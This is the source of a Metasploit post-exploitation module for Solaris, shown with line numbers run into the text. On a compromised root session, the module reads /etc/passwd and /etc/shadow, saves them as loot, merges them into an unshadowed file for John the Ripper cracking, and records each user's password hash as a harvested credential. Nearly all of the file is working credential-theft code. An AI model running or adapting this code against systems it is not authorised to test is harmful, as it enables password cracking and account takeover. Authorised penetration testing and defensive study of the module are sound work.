Path: blob/master/modules/post/solaris/gather/hashdump.rb
22083 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Solaris::Priv89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Solaris Gather Dump Password Hashes for Solaris Systems',14'Description' => %q{15Post module to dump the password hashes for all users on a Solaris system.16},17'License' => MSF_LICENSE,18'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],19'Platform' => [ 'solaris' ],20'SessionTypes' => [ 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25},26'References' => [27[ 'ATT&CK', Mitre::Attack::Technique::T1003_008_ETC_PASSWD_AND_ETC_SHADOW ]28]29)30)31end3233def run34fail_with(Failure::NoAccess, 'You must run this module as root!') unless is_root?3536passwd_file = read_file('/etc/passwd')37shadow_file = read_file('/etc/shadow')3839# Save in loot the passwd and shadow file40p1 = store_loot('solaris.shadow', 'text/plain', session, shadow_file, 'shadow.tx', 'Solaris Password Shadow File')41p2 = store_loot('solaris.passwd', 'text/plain', session, passwd_file, 'passwd.tx', 'Solaris Passwd File')42vprint_good("Shadow saved in: #{p1}")43vprint_good("passwd saved in: #{p2}")4445# Unshadow the files46john_file = unshadow(passwd_file, shadow_file)47john_file.each_line do |l|48hash_parts = l.split(':')49jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]50if jtr_format.empty? # overide the default51jtr_format = 'des,bsdi,crypt'52end53credential_data = {54jtr_format: jtr_format,55origin_type: :session,56post_reference_name: refname,57private_type: :nonreplayable_hash,58private_data: hash_parts[1],59session_id: session_db_id,60username: hash_parts[0],61workspace_id: myworkspace_id62}63create_credential(credential_data)64print_good(l.chomp)65end6667# Save pwd file68upassf = store_loot('solaris.hashes', 'text/plain', session, john_file, 'unshadowed_passwd.pwd', 'Solaris Unshadowed Password File')69print_good("Unshadowed Password File: #{upassf}")70end7172def unshadow(pf, sf)73unshadowed = ''74sf.each_line do |sl|75pass = sl.scan(/^\w*:([^:]*)/).join76next unless pass !~ /^\*LK\*|^NP/7778user = sl.scan(/(^\w*):/).join79pf.each_line do |pl|80if pl.match(/^#{user}:/)81unshadowed << pl.gsub(/:x:/, ":#{pass}:")82end83end84end8586return unshadowed87end88end899091